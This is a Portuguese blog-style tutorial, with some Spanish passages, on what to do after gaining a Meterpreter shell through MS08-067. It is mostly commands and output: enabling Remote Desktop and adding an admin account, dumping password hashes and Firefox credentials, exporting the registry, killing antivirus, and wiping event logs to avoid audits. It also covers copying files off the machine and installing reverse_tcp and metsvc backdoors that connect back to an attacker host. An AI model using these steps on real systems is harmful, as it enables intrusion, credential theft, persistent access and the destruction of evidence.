Estou escrevendo aqui este artigo para ficar uma dica , ou um norte (ideia) do que se fazer após se obter um shell na máquina.
Não vou entrar aqui nos detalhes de como se ganhar o shell na máquina ou do que se trata, pois se você está lendo este texto, acredito eu que você tenha noção do que está procurando.
Vou supor aqui que exploramos o clássico MS08_067.
Após aberta a sessão do meterpreter, muitos newbes ficam parados vendo uma tela preta cheia de letras rindo pois acabou de ter um shell, mas não sabe mais o que fazer dali para frente. Existem infinitas possibilidades, mas como comentei no inicio, o objetivo aqui é deixar uma base, uma ideia, um norte!
Acessando remotamente
Uma das coisas que podem ser feitas de inicio é acessar a máquina remotamente via Remote Desktop. Esse e o jeito mais pratico, rápido, mas é mais agressivo, deixa uitos vestígios, as vezes tem muitos usuários logados e enestes casos este método pode ser complicado. Supondo que você já esteja com o meterpreter aberto após explorar a falha, dê o comando shell para ganhar acesso á máquina e siga o seguinte procedimento:
Habilite o Remote Desktop com o seguinte comando:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Se quiser desabilitar depois para não deixar rastros:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
Agora você precisa add um usuário local com poderes administrativos, para conseguir se logar
PS: Se quiser habilitar a assistência remota ( OPCIONAL)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
Criando o usuário local:
net user NOME_DO_USUARIO SENHA /add
Adicionando o usuário a um grupo:
net localgroup GRUPO USUARIO_CRIADO /add
Agora está prontinho, basta se conectar via remote Desktop, e se logar com seu usuário e senha criados.
Acessando o C: executando um processo:
execute -f “cmd.exe” -i -H
Usando o próprio meterpreter
Os scripts do Meterpreter são rotinas que podem ser executados a partir do intérprete e permite que você execute ações específicas sobre o alvo e são utilizadas para automatizar tarefas e agilizar atividades , os scripts disponíveis são executadas por linha de comando, alguns scripts úteis são:
arp_scanner
Vamos encontrar outras máquinas que estão no segmento de rede ou cometeram conexão com a máquina, para que você possa encontrar endereços IP e MAC das máquinas que têm acesso ao alvo, um cenário típico para isso é o acesso a partir de Internet a uma intranet , por exemplo:
Supondo-se que um pentester entrou em uma máquina que tem 2 interfaces de rede , uma das quais é dedicada à internet eo outro é para a conexão em intranet, porque o pentester tem acesso a esta máquina , você pode facilmente identificar essas interfaces de rede e , em seguida, executar máquinas de varredura no segmento de rede da intranet através de requisições ARP da seguinte forma:
meterpreter > run arp_scanner -h Meterpreter Script for performing an ARPS Scan Discovery.OPTIONS:-h Help menu.-i Enumerate Local Interfaces-r <opt> The target address range or CIDR identifier
-s Save found IP Addresses to logs.
meterpreter > run arp_scanner -i
[*] Enumerating Interfaces
[*] National Semiconductor DP83815-Based PCI Fast Ethernet Adapter – Packet Scheduler Miniport
[*] 192.168.1.34
[*] 255.255.255.0
[*]
meterpreter > run arp_scanner -r 192.168.1.1/24
[*] ARP Scanning 192.168.1.1/24
[*] IP: 192.168.1.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.1.33 MAC 4c:f:6e:e9:7f:16
[*] IP: 192.168.1.34 MAC 0:d:9d:82:cc:69
[*] IP: 192.168.1.35 MAC 0:1c:bf:5a:2a:25
|
checkvm:
Verifique se o alvo está sendo executado em uma máquina virtual ou um físico:
meterpreter > run checkvm [*] Checking if target is a Virtual Machine …..[*] It appears to be physical host. |
credcollect:
Com este comando, a lista de hashes que são armazenados no SAM dos dados alvo é obtido (Gosto muito desse comando, depois é so rodar um bruteforce):
meterpreter > run credcollect [+] Collecting hashes…Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Extracted: ASPNET:f398e05bcb3020ceff92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477……… |
enum_firefox:
Com este script você pode saber se o computador de destino está instalado FireFox e se assim for, o comando tentará baixar todas as informações armazenadas nesse navegador, objectos, tais como cookies, senhas salvas, histórico de navegação, etc.
meterpreter > run enum_firefox [*] Firefox was found on this system.[*] Extracting Firefox data for user Owner[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercert8.db’
[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerkey3.db’
[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersignons.sqlite’
[*] Downloading Firefox Database file cookies.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercookies.sqlite’
[*] Downloading Firefox Database file formhistory.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerformhistory.sqlite’
[*] Downloading Firefox Database file places.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite’
[*] Downloading Firefox Database file places.sqlite-journal to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite-journal’
[*] Downloading Firefox Database file search.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersearch.sqlite’
[*] Getting Firefox Bookmarks for Owner
[*] Saving to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_bookmarks.txt
[*] Getting list of Downloads using Firefox made by Owner
[*] Saving Download list to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_download_list.txt
[*] Getting Firefox URL History for Owner
[*] Saving URL History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_history.txt
[*] Getting Firefox Form History for Owner
[*] Saving Firefox Form History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_form_history.txt
[*] Getting Firefox Search History for Owner
[*] Saving Firefox Search History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_search_history.txt
[*] It appears that Search History has been cleared
[*] Getting Firefox Cookies for Owner
|
Pode ser interessante para o usuário para extrair dados e senhas armazenadas lá para isso se usa o FirePassword , o procedimento é o seguinte:
1. Faça o download do programa (. Exec)
2. Procurar a partir Meterpreter para o diretório onde você fez o download ou o programa é armazenado usando os comandos getlwd e lcd (estes comandos permitem consultar o diretório atual (local) e mudar o caminho do diretório atual (local)
3. Em seguida, use o comando Meterpreter upload e fazer o upload do arquivo executável para a máquina remota.
4. Agora, execute o comando shell para abrir um console no sistema remoto e executar o FirePassword programa na máquina remota, com isso, o programa irá listar as rotas de navegação utilizados e suas credenciais de correspondentes em texto simples (no caso são armazenadas no navegador).
get_application_list
Obtém uma lista dos aplicativos que estão instalados no sistema comprometido com o número da versão que lhes estão associados:
meterpreter > run get_application_list Installed Applications======================Name Version—- ——-7-Zip 4.65
Conexant 56K ACLink Modem
Open Command Prompt Shell Extension (x86-32) 2.0.1.0
……..
|
enum_logged_on_users
Fornece informações sobre os usuários que são atualmente logados:
meterpreter > run enum_logged_on_users -c Current Logged Users====================SID User— —-
S-1-5-19 Local Service
S-1-5-20 Network Service
S-1-5-21-1004336348-1957994488-842925246-1003 Owner
S-1-5-21-1004336348-1957994488-842925246-1005
S-1-5-18 SYSTEM
|
get_env
Retorna as variáveis de ambiente da vítima, permitindo conhecer as características físicas das variáveis de máquina-alvo e de ambiente utilizadas como referência para o software instalado no destino, por muito úteis atividades de pós-exploração de um script do sistema é especificamente para coletar informações sobre a máquina comprometida.
scraper
Vamos coletar informações sobre o sistema e arquivos armazenados no sistema local, a informação recolhida inclui, compartilhamentos de rede, senhas, entradas de registro, etc. toda esta informação é baixado e, em seguida, pode ser usado para apoiar o processo de pós-exploração do sistema, a fim de fortalecer o conhecimento da mesma.
meterpreter > run scraper [*] New session on 192.168.1.34:31337…[*] Gathering basic system information…
[*] Dumping password hashes…
[*] Obtaining the entire registry…
[*] Exporting HKCU
[*] Downloading HKCU (C:\DOCUME~1\Owner\LOCALS~1\Temp\vXPnWyUV.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\DOCUME~1\Owner\LOCALS~1\Temp\yeglhdIM.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\DOCUME~1\Owner\LOCALS~1\Temp\ydknHdsv.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\DOCUME~1\Owner\LOCALS~1\Temp\aOduEHXB.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\DOCUME~1\Owner\LOCALS~1\Temp\wGFcKQnj.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.1.34:31337…
|
winenum
Este é um script que retorna todas as informações sobre o sistema de destino, misturando alguns dos acima, bem como outros comandos úteis , este scripts de informação, gera um relatório consolidado sobre todo o sistema de comunicação de dados relevantes por isso, é altamente recomendado para uso em um processo de pós-exploit de um sistema.
meterpreter > run winenum -h WinEnum — Windows local enumerationRetrieves all kinds of information about the systemincluding environment variables, network interfaces,routing, user accounts, and much more. Results are
stored in /root/.msf3/logs/scripts/winenum
OPTIONS:
-c Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog
-h Help menu.
-m Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything
-r Dump, compress and download entire Registry
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.1.34:31337…
[*] Saving general report to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422/OWNER_20110314.2422.txt
[*] Output of each individual command is saved to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422
[*] Checking if OWNER is a Virtual Machine ……..
[*] UAC is Disabled
[*] Running Command List …
[*] running command cmd.exe /c set
[*] running command ipconfig /all
……………….
|
prefetchtool
Fornece informações sobre os programas que têm sido frequentemente utilizados no sistema comprometido, datas de acesso e criação de cada um dos programas encontrados relatórios, este script usa um executável que deve ser incluído no quadro, no caso de que não foi encontrada, ela irá tentar fazer o download do Internet automaticamente, assim que você precisa ter para usar internet (se você tiver o arquivo no diretório prefetch.exe Metasploit) esse arquivo é instalado no <msf_install_directory>/data/prefetch.exe
meterpreter > run prefetchtool -h [*] Prefetch-tool Meterpreter ScriptOPTIONS:-c Disable SHA1/MD5 checksum-h Help menu.
-i Perform lookup for software name
-l Download Prefetch Folder Analysis Log
-p List Installed Programs
-x <opt> Top x Accessed Executables (Based on Prefetch folder)
meterpreter > run prefetchtool -x 3 -c
[*] No local copy of prefetch.exe, downloading from the internet…
[*] Downloaded prefetch.exe to /opt/metasploit3/msf3/data/prefetch.exe
[*] Running Prefetch-tool script…
[*] Uploading Prefetch-tool for analyzing Prefetch folder…
[*] Prefetch-tool uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp\18337.exe
[*] OUT> Analyzing 120 of 121 files
[*] OUT> Analyzing 121 of 121 files
[*] OUT>
[*] OUT> * Top 3 Used Executables (Based on Prefetch Folder) *
[*] OUT> (1) Filename: avgcmgr.exe
[*] OUT> Num of Times Run: 222 times
[*] OUT> Last Run: Wed Mar 09 20:39:51 2011
[*] OUT> (2) Filename: wuauclt.exe
[*] OUT> Num of Times Run: 109 times
[*] OUT> Last Run: Sun Mar 13 01:58:22 2011
[*] OUT> (3) Filename: postgres.exe
[*] OUT> Num of Times Run: 104 times
[*] OUT> Last Run: Tue Mar 08 22:07:50 2011
[*] Deleting 64162.exe from target…
[*] Clearing prefetch-tool prefetch entry …
[*] [*] Saving prefetch logs to /root/.msf3/logs/prefetch/192.168.1.34-20110314.4236.log…
[*] [*] Deleting log file from target…
|
getcountermeasure
Este script fornece informações sobre os sistemas de segurança implementados no alvo, tais como AV e regras de firewall, e se possível tentar matar o processo.
meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target…[*] Checking for contermeasures…[*] Getting Windows Built in Firewall configuration…[*]
[*] Domain profile configuration:
[*] ——————————————————————-
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration (current):
[*] ——————————————————————-
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Local Area Connection firewall configuration:
[*] ——————————————————————-
[*] Operational mode = Enable
[*]
[*] Checking DEP Support Policy…
[*] DEP is limited to Windows system binaries.
|
clearev
Este é um utilitário interessante que permite que você apague todos os arquivos de log gravadas no caso de a máquina comprometida, desta forma você pode esconder os vestígios das ações realizadas e foram provavelmente monitorado.
Em um sistema Windows, a ferramenta para exibir o log está localizado em Configuração → Ferramentas Administrativas → Visualizador de Eventos
Depois de executar o script que você pode ver que o aplicativo não contém todas as entradas relacionadas a atividades realizadas no sistema, deixando apenas um rastro indicando que o sistema executou uma auditoria automático com sucesso.
meterpreter > clearev [*] Wiping 874 records from Application…[*] Wiping 2076 records from System…[*] Wiping 0 records from Security…meterpreter> |
file_collector
Este é um script que permite que você encontrar certos padrões de arquivos em um determinado diretório, desta forma você pode encontrar todos os arquivos com um nome e / ou a extensão indicada nos parâmetros do comando.
meterpreter > run file_collector Meterpreter Script for searching and downloading files thatmatch a specific pattern. First save files to a file, edit anduse that same file to download the choosen files.OPTIONS:
-d <opt> Directory to start search on, search will be recursive.
-f <opt> Search blobs separated by a |.
-h Help menu.
-i <opt> Input file with list of files to download, one per line.
-l <opt> Location where to save the files.
-o <opt> Output File to save the full path of files found.
-r Search subdirectories.
|
Las opciones obligatorias son -d y -f para especificar el directorio de búsqueda y el filtro respectivamente, el siguiente ejemplo, busca todos los certificados almacenados en la partición C del disco duro, al igual que cualquier fichero con extensión .exploit
meterpreter > run file_collector -d C:\\ -f .cer|.exploit -r [*] Searching for *.cer[*] C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer (517 bytes)[*] C:\Documents and Settings\Owner\Desktop\mycertificate.cer (745 bytes)[*] C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer (420 bytes)
[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer (784 bytes)
[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer (740 bytes)
|
Como puede apreciarse, se han encontrado algunos certificados de usuario y son listados en el resultado, aunque no se haya encontrado nada sobre el otro filtro de búsqueda indicado.
Otra opción interesante es -o que nos permite especificar un fichero de salida, donde podremos almacenar los resultados del comando, Sin embargo no se queda aquí, también podemos obtener dichos ficheros y almacenarlos en local con el uso de la opción -l
meterpreter > run file_collector -l /opt/metasploit3/msf3/stoled/ -i /opt/metasploit3/msf3/stoled/files_stoled [*] Reading file /opt/metasploit3/msf3/stoled/files_stoled[*] Downloading to /opt/metasploit3/msf3/stoled/[*] Downloading C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer[*] Downloading C:\Documents and Settings\Owner\Desktop\mycertificate.cer
[*] Downloading C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer
[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer
[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer
|
persistence
Uma vez explorado um sistema, uma porta persistente que nos permite conectar a qualquer momento para o nosso objetivo, sem explorá-lo novamente é desejável para executar esta tarefa, existem algumas outras maneiras que envolvem a modificação do registro do Windows manualmente, neste caso, vamos fazer uso de uma das cargas que existem em uma sessão meterpreter para instalar o serviço.
Nota: Não especifique um valor para a autenticação, o que significa que qualquer usuário na máquina remota, pode fazer uma conexão com o backdoor, isso pode ser um risco de segurança elevado, por isso recomenda-se cautela e limpar qualquer registro (traço) após ter terminado a execução das tarefas.
meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A Automatically start a matching multi/handler to connect to the agent-L <opt> Location in target host where to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on the remote host where Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.33
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf3/logs/persistence/OWNER_20110307.1848/OWNER_20110307.1848.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444
[*] Persistent agent script is 610514 bytes long
[+] Persisten Script written to C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs
[*] Executing script C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs
[+] Agent executed with PID 2840
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu
|
Agora você pode reiniciar a máquina comprometida, a fim de iniciar o processo recém-criado, isso pode ser feito com o comando reboot e uma vez que o usuário fizer logon novamente, a conexão com a máquina do atacante começará, portanto, a máquina deve ser preparada com um exploit e um PAYLOAD adequado como reverse_tcp, reverse_http, reverse_https ou metsvc_bind_tcp
metsrv
Outra maneira de manter o acesso a um alvo, é através do estabelecimento de um backdoor, você pode definir uma backdoor através do uso de extensão meterpreter metsvc desta forma pode, em seguida, acessar o cliente sem esperar a máquina novamente estabelecer a conexão.
Uma vez que é necessário encontrar o processo explorer (onde procuraremos o backdoor), mas não têm necessariamente de ser este processo especial, pois você pode executar o comando em qualquer processo válido identificador da sessão meterpreter obtido, indica a processo “explorer”, uma vez que é um dos processos mais importantes do sistema operacional:
meterpreter > ps Process list============PID Name Arch Session User Path— —- —- ——- —- —-
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
476 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
….
meterpreter > migrate 244
[*] Migrating to 244…
[*] Migration completed successfully.
|
Uma vez que o processo de migração, você pode executar o comando
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…[*] >> Uploading metsrv.dll…[*] >> Uploading metsvc-server.exe…
[*] >> Uploading metsvc.exe…
[*] Starting the service…
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
|
Se já existe um backdoor instalado é possível excluir com a opção-r.
Agora que a porta da bagageira é estabelecida, você pode começar a qualquer momento uma ponte inversa para a máquina do atacante automaticamente, assim você pode usar o multi / handler explorar para realizar essas ações, além disso, uma carga definida para realizar a conexão imediata entre as duas máquinas:
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcpmsf exploit(handler) > set RHOST 192.168.1.34
RHOST => 192.168.1.34
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit
[*] Starting the payload handler…
[*] Started bind handler
[*] Meterpreter session 4 opened (192.168.1.33:38034 -> 192.168.1.34:31337) at Sun Mar 06 21:53:51 +0100 2011
meterpreter >
|
NOTA: Embora você pode remover este backdoor, na verdade o que a opção-r é para remover as entradas de registro da máquina remota, mas os arquivos carregadas na máquina, não é excluída, portanto, é importante realizar o apagamento de bibliotecas (. dll) e arquivos executáveis (. exe) manualmente para evitar deixar vestígios que podem ser facilmente detectadas por uma auditoria de software ou de um processo judicial, além de que também é necessário para encerrar qualquer processo que está executando e dependente dos arquivos.